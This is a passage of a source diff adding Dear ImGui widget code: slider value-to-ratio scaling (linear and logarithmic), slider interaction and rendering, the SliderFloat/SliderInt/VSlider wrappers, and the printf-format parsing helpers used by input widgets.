ImLog(-v_min_fudged / logarithmic_zero_epsilon))) * zero_point_snap_L; + else + result = zero_point_snap_R + ((float)(ImLog((FLOATTYPE)v_clamped / logarithmic_zero_epsilon) / ImLog(v_max_fudged / logarithmic_zero_epsilon)) * (1.0f - zero_point_snap_R)); + } + else if ((v_min < 0.0f) || (v_max < 0.0f)) // Entirely negative slider + result = 1.0f - (float)(ImLog(-(FLOATTYPE)v_clamped / -v_max_fudged) / ImLog(-v_min_fudged / -v_max_fudged)); + else + result = (float)(ImLog((FLOATTYPE)v_clamped / v_min_fudged) / ImLog(v_max_fudged / v_min_fudged)); + + return flipped ? (1.0f - result) : result; + } + + // Linear slider + return (float)((FLOATTYPE)(SIGNEDTYPE)(v_clamped - v_min) / (FLOATTYPE)(SIGNEDTYPE)(v_max - v_min)); +} + +// Convert a parametric position on a slider into a value v in the output space (the logical opposite of ScaleRatioFromValueT) +template +TYPE ImGui::ScaleValueFromRatioT(ImGuiDataType data_type, float t, TYPE v_min, TYPE v_max, bool is_logarithmic, float logarithmic_zero_epsilon, float zero_deadzone_halfsize) +{ + if (v_min == v_max) + return (TYPE)0.0f; + const bool is_decimal = (data_type == ImGuiDataType_Float) || (data_type == ImGuiDataType_Double); + + TYPE result; + if (is_logarithmic) + { + // We special-case the extents because otherwise our fudging can lead to "mathematically correct" but non-intuitive behaviors like a fully-left slider not actually reaching the minimum value + if (t <= 0.0f) + result = v_min; + else if (t >= 1.0f) + result = v_max; + else + { + bool flipped = v_max < v_min; // Check if range is "backwards" + + // Fudge min/max to avoid getting silly results close to zero + FLOATTYPE v_min_fudged = (ImAbs((FLOATTYPE)v_min) < logarithmic_zero_epsilon) ? ((v_min < 0.0f) ? -logarithmic_zero_epsilon : logarithmic_zero_epsilon) : (FLOATTYPE)v_min; + FLOATTYPE v_max_fudged = (ImAbs((FLOATTYPE)v_max) < logarithmic_zero_epsilon) ? ((v_max < 0.0f) ? -logarithmic_zero_epsilon : logarithmic_zero_epsilon) : (FLOATTYPE)v_max; + + if (flipped) + ImSwap(v_min_fudged, v_max_fudged); + + // Awkward special case - we need ranges of the form (-100 .. 0) to convert to (-100 .. -epsilon), not (-100 .. epsilon) + if ((v_max == 0.0f) && (v_min < 0.0f)) + v_max_fudged = -logarithmic_zero_epsilon; + + float t_with_flip = flipped ? (1.0f - t) : t; // t, but flipped if necessary to account for us flipping the range + + if ((v_min * v_max) < 0.0f) // Range crosses zero, so we have to do this in two parts + { + float zero_point_center = (-(float)ImMin(v_min, v_max)) / ImAbs((float)v_max - (float)v_min); // The zero point in parametric space + float zero_point_snap_L = zero_point_center - zero_deadzone_halfsize; + float zero_point_snap_R = zero_point_center + zero_deadzone_halfsize; + if (t_with_flip >= zero_point_snap_L && t_with_flip <= zero_point_snap_R) + result = (TYPE)0.0f; // Special case to make getting exactly zero possible (the epsilon prevents it otherwise) + else if (t_with_flip < zero_point_center) + result = (TYPE)-(logarithmic_zero_epsilon * ImPow(-v_min_fudged / logarithmic_zero_epsilon, (FLOATTYPE)(1.0f - (t_with_flip / zero_point_snap_L)))); + else + result = (TYPE)(logarithmic_zero_epsilon * ImPow(v_max_fudged / logarithmic_zero_epsilon, (FLOATTYPE)((t_with_flip - zero_point_snap_R) / (1.0f - zero_point_snap_R)))); + } + else if ((v_min < 0.0f) || (v_max < 0.0f)) // Entirely negative slider + result = (TYPE)-(-v_max_fudged * ImPow(-v_min_fudged / -v_max_fudged, (FLOATTYPE)(1.0f - t_with_flip))); + else + result = (TYPE)(v_min_fudged * ImPow(v_max_fudged / v_min_fudged, (FLOATTYPE)t_with_flip)); + } + } + else + { + // Linear slider + if (is_decimal) + { + result = ImLerp(v_min, v_max, t); + } + else + { + // - For integer values we want the clicking position to match the grab box so we round above + // This code is carefully tuned to work with large values (e.g. high ranges of U64) while preserving this property.. + // - Not doing a *1.0 multiply at the end of a range as it tends to be lossy. While absolute aiming at a large s64/u64 + // range is going to be imprecise anyway, with this check we at least make the edge values matches expected limits. + if (t < 1.0) + { + FLOATTYPE v_new_off_f = (SIGNEDTYPE)(v_max - v_min) * t; + result = (TYPE)((SIGNEDTYPE)v_min + (SIGNEDTYPE)(v_new_off_f + (FLOATTYPE)(v_min > v_max ? -0.5 : 0.5))); + } + else + { + result = v_max; + } + } + } + + return result; +} + +// FIXME: Move more of the code into SliderBehavior() +template +bool ImGui::SliderBehaviorT(const ImRect& bb, ImGuiID id, ImGuiDataType data_type, TYPE* v, const TYPE v_min, const TYPE v_max, const char* format, ImGuiSliderFlags flags, ImRect* out_grab_bb) +{ + ImGuiContext& g = *GImGui; + const ImGuiStyle& style = g.Style; + + const ImGuiAxis axis = (flags & ImGuiSliderFlags_Vertical) ? ImGuiAxis_Y : ImGuiAxis_X; + const bool is_decimal = (data_type == ImGuiDataType_Float) || (data_type == ImGuiDataType_Double); + const bool is_logarithmic = (flags & ImGuiSliderFlags_Logarithmic) && is_decimal; + + const float grab_padding = 2.0f; + const float slider_sz = (bb.Max[axis] - bb.Min[axis]) - grab_padding * 2.0f; + float grab_sz = style.GrabMinSize; + SIGNEDTYPE v_range = (v_min < v_max ? v_max - v_min : v_min - v_max); + if (!is_decimal && v_range >= 0) // v_range < 0 may happen on integer overflows + grab_sz = ImMax((float)(slider_sz / (v_range + 1)), style.GrabMinSize); // For integer sliders: if possible have the grab size represent 1 unit + grab_sz = ImMin(grab_sz, slider_sz); + const float slider_usable_sz = slider_sz - grab_sz; + const float slider_usable_pos_min = bb.Min[axis] + grab_padding + grab_sz * 0.5f; + const float slider_usable_pos_max = bb.Max[axis] - grab_padding - grab_sz * 0.5f; + + float logarithmic_zero_epsilon = 0.0f; // Only valid when is_logarithmic is true + float zero_deadzone_halfsize = 0.0f; // Only valid when is_logarithmic is true + if (is_logarithmic) + { + // When using logarithmic sliders, we need to clamp to avoid hitting zero, but our choice of clamp value greatly affects slider precision. We attempt to use the specified precision to estimate a good lower bound. + const int decimal_precision = is_decimal ? ImParseFormatPrecision(format, 3) : 1; + logarithmic_zero_epsilon = ImPow(0.1f, (float)decimal_precision); + zero_deadzone_halfsize = (style.LogSliderDeadzone * 0.5f) / ImMax(slider_usable_sz, 1.0f); + } + + // Process interacting with the slider + bool value_changed = false; + if (g.ActiveId == id) + { + bool set_new_value = false; + float clicked_t = 0.0f; + if (g.ActiveIdSource == ImGuiInputSource_Mouse) + { + if (!g.IO.MouseDown[0]) + { + ClearActiveID(); + } + else + { + const float mouse_abs_pos = g.IO.MousePos[axis]; + clicked_t = (slider_usable_sz > 0.0f) ? ImClamp((mouse_abs_pos - slider_usable_pos_min) / slider_usable_sz, 0.0f, 1.0f) : 0.0f; + if (axis == ImGuiAxis_Y) + clicked_t = 1.0f - clicked_t; + set_new_value = true; + } + } + else if (g.ActiveIdSource == ImGuiInputSource_Nav) + { + if (g.ActiveIdIsJustActivated) + { + g.SliderCurrentAccum = 0.0f; // Reset any stored nav delta upon activation + g.SliderCurrentAccumDirty = false; + } + + const ImVec2 input_delta2 = GetNavInputAmount2d(ImGuiNavDirSourceFlags_Keyboard | ImGuiNavDirSourceFlags_PadDPad, ImGuiInputReadMode_RepeatFast, 0.0f, 0.0f); + float input_delta = (axis == ImGuiAxis_X) ? input_delta2.x : -input_delta2.y; + if (input_delta != 0.0f) + { + const int decimal_precision = is_decimal ? ImParseFormatPrecision(format, 3) : 0; + if (decimal_precision > 0) + { + input_delta /= 100.0f; // Gamepad/keyboard tweak speeds in % of slider bounds + if (IsNavInputDown(ImGuiNavInput_TweakSlow)) + input_delta /= 10.0f; + } + else + { + if ((v_range >= -100.0f && v_range <= 100.0f) || IsNavInputDown(ImGuiNavInput_TweakSlow)) + input_delta = ((input_delta < 0.0f) ? -1.0f : +1.0f) / (float)v_range; // Gamepad/keyboard tweak speeds in integer steps + else + input_delta /= 100.0f; + } + if (IsNavInputDown(ImGuiNavInput_TweakFast)) + input_delta *= 10.0f; + + g.SliderCurrentAccum += input_delta; + g.SliderCurrentAccumDirty = true; + } + + float delta = g.SliderCurrentAccum; + if (g.NavActivatePressedId == id && !g.ActiveIdIsJustActivated) + { + ClearActiveID(); + } + else if (g.SliderCurrentAccumDirty) + { + clicked_t = ScaleRatioFromValueT(data_type, *v, v_min, v_max, is_logarithmic, logarithmic_zero_epsilon, zero_deadzone_halfsize); + + if ((clicked_t >= 1.0f && delta > 0.0f) || (clicked_t <= 0.0f && delta < 0.0f)) // This is to avoid applying the saturation when already past the limits + { + set_new_value = false; + g.SliderCurrentAccum = 0.0f; // If pushing up against the limits, don't continue to accumulate + } + else + { + set_new_value = true; + float old_clicked_t = clicked_t; + clicked_t = ImSaturate(clicked_t + delta); + + // Calculate what our "new" clicked_t will be, and thus how far we actually moved the slider, and subtract this from the accumulator + TYPE v_new = ScaleValueFromRatioT(data_type, clicked_t, v_min, v_max, is_logarithmic, logarithmic_zero_epsilon, zero_deadzone_halfsize); + if (!(flags & ImGuiSliderFlags_NoRoundToFormat)) + v_new = RoundScalarWithFormatT(format, data_type, v_new); + float new_clicked_t = ScaleRatioFromValueT(data_type, v_new, v_min, v_max, is_logarithmic, logarithmic_zero_epsilon, zero_deadzone_halfsize); + + if (delta > 0) + g.SliderCurrentAccum -= ImMin(new_clicked_t - old_clicked_t, delta); + else + g.SliderCurrentAccum -= ImMax(new_clicked_t - old_clicked_t, delta); + } + + g.SliderCurrentAccumDirty = false; + } + } + + if (set_new_value) + { + TYPE v_new = ScaleValueFromRatioT(data_type, clicked_t, v_min, v_max, is_logarithmic, logarithmic_zero_epsilon, zero_deadzone_halfsize); + + // Round to user desired precision based on format string + if (!(flags & ImGuiSliderFlags_NoRoundToFormat)) + v_new = RoundScalarWithFormatT(format, data_type, v_new); + + // Apply result + if (*v != v_new) + { + *v = v_new; + value_changed = true; + } + } + } + + if (slider_sz < 1.0f) + { + *out_grab_bb = ImRect(bb.Min, bb.Min); + } + else + { + // Output grab position so it can be displayed by the caller + float grab_t = ScaleRatioFromValueT(data_type, *v, v_min, v_max, is_logarithmic, logarithmic_zero_epsilon, zero_deadzone_halfsize); + if (axis == ImGuiAxis_Y) + grab_t = 1.0f - grab_t; + const float grab_pos = ImLerp(slider_usable_pos_min, slider_usable_pos_max, grab_t); + if (axis == ImGuiAxis_X) + *out_grab_bb = ImRect(grab_pos - grab_sz * 0.5f, bb.Min.y + grab_padding, grab_pos + grab_sz * 0.5f, bb.Max.y - grab_padding); + else + *out_grab_bb = ImRect(bb.Min.x + grab_padding, grab_pos - grab_sz * 0.5f, bb.Max.x - grab_padding, grab_pos + grab_sz * 0.5f); + } + + return value_changed; +} + +// For 32-bit and larger types, slider bounds are limited to half the natural type range. +// So e.g. an integer Slider between INT_MAX-10 and INT_MAX will fail, but an integer Slider between INT_MAX/2-10 and INT_MAX/2 will be ok. +// It would be possible to lift that limitation with some work but it doesn't seem to be worth it for sliders. +bool ImGui::SliderBehavior(const ImRect& bb, ImGuiID id, ImGuiDataType data_type, void* p_v, const void* p_min, const void* p_max, const char* format, ImGuiSliderFlags flags, ImRect* out_grab_bb) +{ + // Read imgui.cpp "API BREAKING CHANGES" section for 1.78 if you hit this assert. + IM_ASSERT((flags == 1 || (flags & ImGuiSliderFlags_InvalidMask_) == 0) && "Invalid ImGuiSliderFlags flag! Has the 'float power' argument been mistakenly cast to flags? Call function with ImGuiSliderFlags_Logarithmic flags instead."); + + ImGuiContext& g = *GImGui; + if ((g.CurrentWindow->DC.ItemFlags & ImGuiItemFlags_ReadOnly) || (flags & ImGuiSliderFlags_ReadOnly)) + return false; + + switch (data_type) + { + case ImGuiDataType_S8: { ImS32 v32 = (ImS32)*(ImS8*)p_v; bool r = SliderBehaviorT(bb, id, ImGuiDataType_S32, &v32, *(const ImS8*)p_min, *(const ImS8*)p_max, format, flags, out_grab_bb); if (r) *(ImS8*)p_v = (ImS8)v32; return r; } + case ImGuiDataType_U8: { ImU32 v32 = (ImU32)*(ImU8*)p_v; bool r = SliderBehaviorT(bb, id, ImGuiDataType_U32, &v32, *(const ImU8*)p_min, *(const ImU8*)p_max, format, flags, out_grab_bb); if (r) *(ImU8*)p_v = (ImU8)v32; return r; } + case ImGuiDataType_S16: { ImS32 v32 = (ImS32)*(ImS16*)p_v; bool r = SliderBehaviorT(bb, id, ImGuiDataType_S32, &v32, *(const ImS16*)p_min, *(const ImS16*)p_max, format, flags, out_grab_bb); if (r) *(ImS16*)p_v = (ImS16)v32; return r; } + case ImGuiDataType_U16: { ImU32 v32 = (ImU32)*(ImU16*)p_v; bool r = SliderBehaviorT(bb, id, ImGuiDataType_U32, &v32, *(const ImU16*)p_min, *(const ImU16*)p_max, format, flags, out_grab_bb); if (r) *(ImU16*)p_v = (ImU16)v32; return r; } + case ImGuiDataType_S32: + IM_ASSERT(*(const ImS32*)p_min >= IM_S32_MIN / 2 && *(const ImS32*)p_max <= IM_S32_MAX / 2); + return SliderBehaviorT(bb, id, data_type, (ImS32*)p_v, *(const ImS32*)p_min, *(const ImS32*)p_max, format, flags, out_grab_bb); + case ImGuiDataType_U32: + IM_ASSERT(*(const ImU32*)p_max <= IM_U32_MAX / 2); + return SliderBehaviorT(bb, id, data_type, (ImU32*)p_v, *(const ImU32*)p_min, *(const ImU32*)p_max, format, flags, out_grab_bb); + case ImGuiDataType_S64: + IM_ASSERT(*(const ImS64*)p_min >= IM_S64_MIN / 2 && *(const ImS64*)p_max <= IM_S64_MAX / 2); + return SliderBehaviorT(bb, id, data_type, (ImS64*)p_v, *(const ImS64*)p_min, *(const ImS64*)p_max, format, flags, out_grab_bb); + case ImGuiDataType_U64: + IM_ASSERT(*(const ImU64*)p_max <= IM_U64_MAX / 2); + return SliderBehaviorT(bb, id, data_type, (ImU64*)p_v, *(const ImU64*)p_min, *(const ImU64*)p_max, format, flags, out_grab_bb); + case ImGuiDataType_Float: + IM_ASSERT(*(const float*)p_min >= -FLT_MAX / 2.0f && *(const float*)p_max <= FLT_MAX / 2.0f); + return SliderBehaviorT(bb, id, data_type, (float*)p_v, *(const float*)p_min, *(const float*)p_max, format, flags, out_grab_bb); + case ImGuiDataType_Double: + IM_ASSERT(*(const double*)p_min >= -DBL_MAX / 2.0f && *(const double*)p_max <= DBL_MAX / 2.0f); + return SliderBehaviorT(bb, id, data_type, (double*)p_v, *(const double*)p_min, *(const double*)p_max, format, flags, out_grab_bb); + case ImGuiDataType_COUNT: break; + } + IM_ASSERT(0); + return false; +} + +// Note: p_data, p_min and p_max are _pointers_ to a memory address holding the data. For a slider, they are all required. +// Read code of e.g. SliderFloat(), SliderInt() etc. or examples in 'Demo->Widgets->Data Types' to understand how to use this function directly. +bool ImGui::SliderScalar(const char* label, ImGuiDataType data_type, void* p_data, const void* p_min, const void* p_max, const char* format, ImGuiSliderFlags flags) +{ + ImGuiWindow* window = GetCurrentWindow(); + if (window->SkipItems) + return false; + + ImGuiContext& g = *GImGui; + const ImGuiStyle& style = g.Style; + const ImGuiID id = window->GetID(label); + const float w = CalcItemWidth(); + + const ImVec2 label_size = CalcTextSize(label, NULL, true); + const ImRect frame_bb(window->DC.CursorPos, window->DC.CursorPos + ImVec2(w, label_size.y + style.FramePadding.y * 2.0f)); + const ImRect total_bb(frame_bb.Min, frame_bb.Max + ImVec2(label_size.x > 0.0f ? style.ItemInnerSpacing.x + label_size.x : 0.0f, 0.0f)); + + ItemSize(total_bb, style.FramePadding.y); + if (!ItemAdd(total_bb, id, &frame_bb)) + return false; + + // Default format string when passing NULL + if (format == NULL) + format = DataTypeGetInfo(data_type)->PrintFmt; + else if (data_type == ImGuiDataType_S32 && strcmp(format, "%d") != 0) // (FIXME-LEGACY: Patch old "%.0f" format string to use "%d", read function more details.) + format = PatchFormatStringFloatToInt(format); + + // Tabbing or CTRL-clicking on Slider turns it into an input box + const bool hovered = ItemHoverable(frame_bb, id); + const bool temp_input_allowed = (flags & ImGuiSliderFlags_NoInput) == 0; + bool temp_input_is_active = temp_input_allowed && TempInputIsActive(id); + if (!temp_input_is_active) + { + const bool focus_requested = temp_input_allowed && FocusableItemRegister(window, id); + const bool clicked = (hovered && g.IO.MouseClicked[0]); + if (focus_requested || clicked || g.NavActivateId == id || g.NavInputId == id) + { + SetActiveID(id, window); + SetFocusID(id, window); + FocusWindow(window); + g.ActiveIdUsingNavDirMask |= (1 << ImGuiDir_Left) | (1 << ImGuiDir_Right); + if (temp_input_allowed && (focus_requested || (clicked && g.IO.KeyCtrl) || g.NavInputId == id)) + { + temp_input_is_active = true; + FocusableItemUnregister(window); + } + } + } + + if (temp_input_is_active) + { + // Only clamp CTRL+Click input when ImGuiSliderFlags_AlwaysClamp is set + const bool is_clamp_input = (flags & ImGuiSliderFlags_AlwaysClamp) != 0; + return TempInputScalar(frame_bb, id, label, data_type, p_data, format, is_clamp_input ? p_min : NULL, is_clamp_input ? p_max : NULL); + } + + // Draw frame + const ImU32 frame_col = GetColorU32(g.ActiveId == id ? ImGuiCol_FrameBgActive : g.HoveredId == id ? ImGuiCol_FrameBgHovered : ImGuiCol_FrameBg); + RenderNavHighlight(frame_bb, id); + RenderFrame(frame_bb.Min, frame_bb.Max, frame_col, true, g.Style.FrameRounding); + + // Slider behavior + ImRect grab_bb; + const bool value_changed = SliderBehavior(frame_bb, id, data_type, p_data, p_min, p_max, format, flags, &grab_bb); + if (value_changed) + MarkItemEdited(id); + + // Render grab + if (grab_bb.Max.x > grab_bb.Min.x) + window->DrawList->AddRectFilled(grab_bb.Min, grab_bb.Max, GetColorU32(g.ActiveId == id ? ImGuiCol_SliderGrabActive : ImGuiCol_SliderGrab), style.GrabRounding); + + // Display value using user-provided display format so user can add prefix/suffix/decorations to the value. + char value_buf[64]; + const char* value_buf_end = value_buf + DataTypeFormatString(value_buf, IM_ARRAYSIZE(value_buf), data_type, p_data, format); + RenderTextClipped(frame_bb.Min, frame_bb.Max, value_buf, value_buf_end, NULL, ImVec2(0.5f, 0.5f)); + + if (label_size.x > 0.0f) + RenderText(ImVec2(frame_bb.Max.x + style.ItemInnerSpacing.x, frame_bb.Min.y + style.FramePadding.y), label); + + IMGUI_TEST_ENGINE_ITEM_INFO(id, label, window->DC.ItemFlags); + return value_changed; +} + +// Add multiple sliders on 1 line for compact edition of multiple components +bool ImGui::SliderScalarN(const char* label, ImGuiDataType data_type, void* v, int components, const void* v_min, const void* v_max, const char* format, ImGuiSliderFlags flags) +{ + ImGuiWindow* window = GetCurrentWindow(); + if (window->SkipItems) + return false; + + ImGuiContext& g = *GImGui; + bool value_changed = false; + BeginGroup(); + PushID(label); + PushMultiItemsWidths(components, CalcItemWidth()); + size_t type_size = GDataTypeInfo[data_type].Size; + for (int i = 0; i < components; i++) + { + PushID(i); + if (i > 0) + SameLine(0, g.Style.ItemInnerSpacing.x); + value_changed |= SliderScalar("", data_type, v, v_min, v_max, format, flags); + PopID(); + PopItemWidth(); + v = (void*)((char*)v + type_size); + } + PopID(); + + const char* label_end = FindRenderedTextEnd(label); + if (label != label_end) + { + SameLine(0, g.Style.ItemInnerSpacing.x); + TextEx(label, label_end); + } + + EndGroup(); + return value_changed; +} + +bool ImGui::SliderFloat(const char* label, float* v, float v_min, float v_max, const char* format, ImGuiSliderFlags flags) +{ + return SliderScalar(label, ImGuiDataType_Float, v, &v_min, &v_max, format, flags); +} + +bool ImGui::SliderFloat2(const char* label, float v[2], float v_min, float v_max, const char* format, ImGuiSliderFlags flags) +{ + return SliderScalarN(label, ImGuiDataType_Float, v, 2, &v_min, &v_max, format, flags); +} + +bool ImGui::SliderFloat3(const char* label, float v[3], float v_min, float v_max, const char* format, ImGuiSliderFlags flags) +{ + return SliderScalarN(label, ImGuiDataType_Float, v, 3, &v_min, &v_max, format, flags); +} + +bool ImGui::SliderFloat4(const char* label, float v[4], float v_min, float v_max, const char* format, ImGuiSliderFlags flags) +{ + return SliderScalarN(label, ImGuiDataType_Float, v, 4, &v_min, &v_max, format, flags); +} + +bool ImGui::SliderAngle(const char* label, float* v_rad, float v_degrees_min, float v_degrees_max, const char* format, ImGuiSliderFlags flags) +{ + if (format == NULL) + format = "%.0f deg"; + float v_deg = (*v_rad) * 360.0f / (2 * IM_PI); + bool value_changed = SliderFloat(label, &v_deg, v_degrees_min, v_degrees_max, format, flags); + *v_rad = v_deg * (2 * IM_PI) / 360.0f; + return value_changed; +} + +bool ImGui::SliderInt(const char* label, int* v, int v_min, int v_max, const char* format, ImGuiSliderFlags flags) +{ + return SliderScalar(label, ImGuiDataType_S32, v, &v_min, &v_max, format, flags); +} + +bool ImGui::SliderInt2(const char* label, int v[2], int v_min, int v_max, const char* format, ImGuiSliderFlags flags) +{ + return SliderScalarN(label, ImGuiDataType_S32, v, 2, &v_min, &v_max, format, flags); +} + +bool ImGui::SliderInt3(const char* label, int v[3], int v_min, int v_max, const char* format, ImGuiSliderFlags flags) +{ + return SliderScalarN(label, ImGuiDataType_S32, v, 3, &v_min, &v_max, format, flags); +} + +bool ImGui::SliderInt4(const char* label, int v[4], int v_min, int v_max, const char* format, ImGuiSliderFlags flags) +{ + return SliderScalarN(label, ImGuiDataType_S32, v, 4, &v_min, &v_max, format, flags); +} + +bool ImGui::VSliderScalar(const char* label, const ImVec2& size, ImGuiDataType data_type, void* p_data, const void* p_min, const void* p_max, const char* format, ImGuiSliderFlags flags) +{ + ImGuiWindow* window = GetCurrentWindow(); + if (window->SkipItems) + return false; + + ImGuiContext& g = *GImGui; + const ImGuiStyle& style = g.Style; + const ImGuiID id = window->GetID(label); + + const ImVec2 label_size = CalcTextSize(label, NULL, true); + const ImRect frame_bb(window->DC.CursorPos, window->DC.CursorPos + size); + const ImRect bb(frame_bb.Min, frame_bb.Max + ImVec2(label_size.x > 0.0f ? style.ItemInnerSpacing.x + label_size.x : 0.0f, 0.0f)); + + ItemSize(bb, style.FramePadding.y); + if (!ItemAdd(frame_bb, id)) + return false; + + // Default format string when passing NULL + if (format == NULL) + format = DataTypeGetInfo(data_type)->PrintFmt; + else if (data_type == ImGuiDataType_S32 && strcmp(format, "%d") != 0) // (FIXME-LEGACY: Patch old "%.0f" format string to use "%d", read function more details.) + format = PatchFormatStringFloatToInt(format); + + const bool hovered = ItemHoverable(frame_bb, id); + if ((hovered && g.IO.MouseClicked[0]) || g.NavActivateId == id || g.NavInputId == id) + { + SetActiveID(id, window); + SetFocusID(id, window); + FocusWindow(window); + g.ActiveIdUsingNavDirMask |= (1 << ImGuiDir_Up) | (1 << ImGuiDir_Down); + } + + // Draw frame + const ImU32 frame_col = GetColorU32(g.ActiveId == id ? ImGuiCol_FrameBgActive : g.HoveredId == id ? ImGuiCol_FrameBgHovered : ImGuiCol_FrameBg); + RenderNavHighlight(frame_bb, id); + RenderFrame(frame_bb.Min, frame_bb.Max, frame_col, true, g.Style.FrameRounding); + + // Slider behavior + ImRect grab_bb; + const bool value_changed = SliderBehavior(frame_bb, id, data_type, p_data, p_min, p_max, format, flags | ImGuiSliderFlags_Vertical, &grab_bb); + if (value_changed) + MarkItemEdited(id); + + // Render grab + if (grab_bb.Max.y > grab_bb.Min.y) + window->DrawList->AddRectFilled(grab_bb.Min, grab_bb.Max, GetColorU32(g.ActiveId == id ? ImGuiCol_SliderGrabActive : ImGuiCol_SliderGrab), style.GrabRounding); + + // Display value using user-provided display format so user can add prefix/suffix/decorations to the value. + // For the vertical slider we allow centered text to overlap the frame padding + char value_buf[64]; + const char* value_buf_end = value_buf + DataTypeFormatString(value_buf, IM_ARRAYSIZE(value_buf), data_type, p_data, format); + RenderTextClipped(ImVec2(frame_bb.Min.x, frame_bb.Min.y + style.FramePadding.y), frame_bb.Max, value_buf, value_buf_end, NULL, ImVec2(0.5f, 0.0f)); + if (label_size.x > 0.0f) + RenderText(ImVec2(frame_bb.Max.x + style.ItemInnerSpacing.x, frame_bb.Min.y + style.FramePadding.y), label); + + return value_changed; +} + +bool ImGui::VSliderFloat(const char* label, const ImVec2& size, float* v, float v_min, float v_max, const char* format, ImGuiSliderFlags flags) +{ + return VSliderScalar(label, size, ImGuiDataType_Float, v, &v_min, &v_max, format, flags); +} + +bool ImGui::VSliderInt(const char* label, const ImVec2& size, int* v, int v_min, int v_max, const char* format, ImGuiSliderFlags flags) +{ + return VSliderScalar(label, size, ImGuiDataType_S32, v, &v_min, &v_max, format, flags); +} + +#ifndef IMGUI_DISABLE_OBSOLETE_FUNCTIONS + +// Obsolete versions with power parameter. See https://github.com/ocornut/imgui/issues/3361 for details. +bool ImGui::SliderScalar(const char* label, ImGuiDataType data_type, void* p_data, const void* p_min, const void* p_max, const char* format, float power) +{ + ImGuiSliderFlags slider_flags = ImGuiSliderFlags_None; + if (power != 1.0f) + { + IM_ASSERT(power == 1.0f && "Call function with ImGuiSliderFlags_Logarithmic flags instead of using the old 'float power' function!"); + slider_flags |= ImGuiSliderFlags_Logarithmic; // Fallback for non-asserting paths + } + return SliderScalar(label, data_type, p_data, p_min, p_max, format, slider_flags); +} + +bool ImGui::SliderScalarN(const char* label, ImGuiDataType data_type, void* v, int components, const void* v_min, const void* v_max, const char* format, float power) +{ + ImGuiSliderFlags slider_flags = ImGuiSliderFlags_None; + if (power != 1.0f) + { + IM_ASSERT(power == 1.0f && "Call function with ImGuiSliderFlags_Logarithmic flags instead of using the old 'float power' function!"); + slider_flags |= ImGuiSliderFlags_Logarithmic; // Fallback for non-asserting paths + } + return SliderScalarN(label, data_type, v, components, v_min, v_max, format, slider_flags); +} + +#endif // IMGUI_DISABLE_OBSOLETE_FUNCTIONS + +//------------------------------------------------------------------------- +// [SECTION] Widgets: InputScalar, InputFloat, InputInt, etc. +//------------------------------------------------------------------------- +// - ImParseFormatFindStart() [Internal] +// - ImParseFormatFindEnd() [Internal] +// - ImParseFormatTrimDecorations() [Internal] +// - ImParseFormatPrecision() [Internal] +// - TempInputTextScalar() [Internal] +// - InputScalar() +// - InputScalarN() +// - InputFloat() +// - InputFloat2() +// - InputFloat3() +// - InputFloat4() +// - InputInt() +// - InputInt2() +// - InputInt3() +// - InputInt4() +// - InputDouble() +//------------------------------------------------------------------------- + +// We don't use strchr() because our strings are usually very short and often start with '%' +const char* ImParseFormatFindStart(const char* fmt) +{ + while (char c = fmt[0]) + { + if (c == '%' && fmt[1] != '%') + return fmt; + else if (c == '%') + fmt++; + fmt++; + } + return fmt; +} + +const char* ImParseFormatFindEnd(const char* fmt) +{ + // Printf/scanf types modifiers: I/L/h/j/l/t/w/z. Other uppercase letters qualify as types aka end of the format. + if (fmt[0] != '%') + return fmt; + const unsigned int ignored_uppercase_mask = (1 << ('I'-'A')) | (1 << ('L'-'A')); + const unsigned int ignored_lowercase_mask = (1 << ('h'-'a')) | (1 << ('j'-'a')) | (1 << ('l'-'a')) | (1 << ('t'-'a')) | (1 << ('w'-'a')) | (1 << ('z'-'a')); + for (char c; (c = *fmt) != 0; fmt++) + { + if (c >= 'A' && c <= 'Z' && ((1 << (c - 'A')) & ignored_uppercase_mask) == 0) + return fmt + 1; + if (c >= 'a' && c <= 'z' && ((1 << (c - 'a')) & ignored_lowercase_mask) == 0) + return fmt + 1; + } + return fmt; +} + +// Extract the format out of a format string with leading or trailing decorations +// fmt = "blah blah" -> return fmt +// fmt = "%.3f" -> return fmt +// fmt = "hello %.3f" -> return fmt + 6 +// fmt = "%.3f hello" -> return buf written with "%.3f" +const char* ImParseFormatTrimDecorations(const char* fmt, char* buf, size_t buf_size) +{ + const char* fmt_start = ImParseFormatFindStart(fmt); + if (fmt_start[0] != '%') + return fmt; + const char* fmt_end = ImParseFormatFindEnd(fmt_start); + if (fmt_end[0] == 0) // If we only have leading decoration, we don't need to copy the data. + return fmt_start; + ImStrncpy(buf, fmt_start, ImMin((size_t)(fmt_end - fmt_start) + 1, buf_size)); + return buf; +} + +// Parse display precision back from the display format string +// FIXME: This is still used by some navigation code path to infer a minimum tweak step, but we should aim to rework widgets so it isn't needed. +int ImParseFormatPrecision(const char* fmt, int default_precision) +{ + fmt = ImParseFormatFindStart(fmt); + if (fmt[0] != '%') + return default_precision; + fmt++; + while (*fmt >= '0' && *fmt <= '9') + fmt++; + int precision = INT_MAX; + if (*fmt == '.') + { + fmt = ImAtoi(fmt + 1, &precision); + if (precision < 0 || precision > 99) + precision = default_precision; + } + if (*fmt == 'e' || *fmt == 'E') // Maximum precision with scientific notation + precision = -1; + if ((*fmt == 'g' || *fmt == 'G') && precision == INT_MAX) + precision = -1; + return (precision == INT_MAX) ? default_precision : precision; +} + +// Create text input in place of another active widget (e.g. used when doing a CTRL+Click on drag/slider widgets) +// FIXME: Facilitate using this in variety of other situations. +bool ImGui::TempInputText(const ImRect& bb, ImGuiID id, const char* label, char* buf, int buf_size, ImGuiInputTextFlags flags) +{ + // On the first frame, g.TempInputTextId == 0, then on subsequent frames it becomes == id. + // We clear ActiveID on the first frame to allow the InputText() taking it back. + ImGuiContext& g = *GImGui; + const bool init = (g.TempInputId != id); + if (init) + ClearActiveID(); + + g.CurrentWindow->DC.CursorPos = bb.Min; + bool value_changed = InputTextEx(label, NULL, buf, buf_size, bb.GetSize(), flags); + if (init) + { + // First frame we started displaying the InputText widget, we expect it to take the active id. + IM_ASSERT(g.ActiveId == id); + g.TempInputId = g.ActiveId; + } + return value_changed; +} + +// Note that Drag/Slider functions are only forwarding the min/max values clamping values if the ImGuiSliderFlags_AlwaysClamp flag is set! +// This is intended: this way we allow CTRL+Click manual input to set a value out of bounds, for maximum flexibility. +// However this may not be ideal for all uses, as some user code may break on out of bound values. +bool ImGui::TempInputScalar(const ImRect& bb, ImGuiID id, const char* label, ImGuiDataType data_type, void* p_data, const char* format, const void* p_clamp_min, const void* p_clamp_max) +{ + ImGuiContext& g = *GImGui; + + char fmt_buf[32]; + char data_buf[32]; + format = ImParseFormatTrimDecorations(format, fmt_buf, 